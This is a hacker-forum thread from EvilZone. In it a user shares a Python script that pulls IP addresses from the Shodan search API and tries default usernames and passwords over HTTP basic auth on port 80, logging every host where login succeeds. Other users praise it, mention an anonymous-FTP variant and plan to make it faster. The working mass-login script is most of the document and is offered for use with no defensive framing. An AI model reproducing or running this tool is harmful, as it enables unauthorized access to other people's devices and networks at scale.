EvilZone
Programming and Scripting => Scripting Languages => : hppd February 05, 2014, 03:10:21 PM
-
Wassup ez.
This script grabs a bunch of ip's for the query you specified in Shodan. And then tries to authenticate with them using the default password /username (that you specified). The succesrate is surprisingly good :D
I first tried to write this in java but that was extremely unneficient. So I looked into python noticed it was perfect for this kind of stuff and came up with this script:
import shodan
import requests
import sys
#author HPPD
#defining api key and search
SHODAN_API_KEY = "Put your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
iptotal = ('IP list')
if __name__ == "__main__":
if len(sys.argv) != 5:
print('Usage: <query> <username> <password> <lastpagenumber>')
sys.exit(0)
else:
query = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
endpage = int(sys.argv[4])
pagenmbr = 8
#Checking if the wanted page is reached
while pagenmbr <= endpage:
try:
# Search Shodan
pagenmbr = pagenmbr + 1
results = api.search(query, pagenmbr)
# Show the results
print ('Results found: %s' % results['total'])
for result in results['matches']:
#Check for open port 80 and try to log in
if result['port'] == 80:
ipauth = result['ip_str']
print ('IP open on port 80: %s' % ipauth)
r = requests.get('http://' + ipauth, auth=(username, password))
#If log in is succesfull add ip, countrycode to iptotal
if r.status_code == requests.codes.ok:
print('Fuck yeah succes!')
iptotal = (iptotal + ', ' + ipauth)
except Exception as e:
print("Oops! Something went wrong, the ip is probably unreachable. Try again, or tell the doctor!")
pass
print ('Error: %s' % e)
#Append succeeded items to file
filename = ('outputsbb_' + query + '.txt')
with open(filename, "a") as myfile:
myfile.write(iptotal)
print(iptotal + '\n Written to file' + filename )
If you think something can be done more efficient let me know :D
EDIT: Removed the else in the except, since it wasn't doing anything there. Thx Phage
-
I wrote a similar code but for ftp trying to connect with the anonymous user, it's very useful but more if you have credits in shodan for the querys
-
You finally posted it here. I saw you talking about it on irc. Its so simple and like python can always amaze us.
-
You finally posted it here. I saw you talking about it on irc. Its so simple and like python can always amaze us.
Yeah man python is awesome.. When I was trying it in Java it took me ages to just get the JSON thing working and I ha waaaay too much code..
Right now I'm takeing out the bugs and implementing asycn connections cause the script's slow as fuck
-
Python has the shodan module.
It's perfect for this script.
There are others similar just for searching shodan, the problem is, as CorruptedBye pointed out, is that you need "credits" to get alot of results.
When i saw the title I tought that this cracked that system.. oh well
Nice script
-
Python has the shodan module.
It's perfect for this script.
There are others similar just for searching shodan, the problem is, as CorruptedBye pointed out, is that you need "credits" to get alot of results.
When i saw the title I tought that this cracked that system.. oh well
Nice script
Yeah I can do that but then I have to work with cookies, parse the html aand it's gonnna be muche slower.. Just useing the API is much faster and it isn't that expensive. Good ROI :P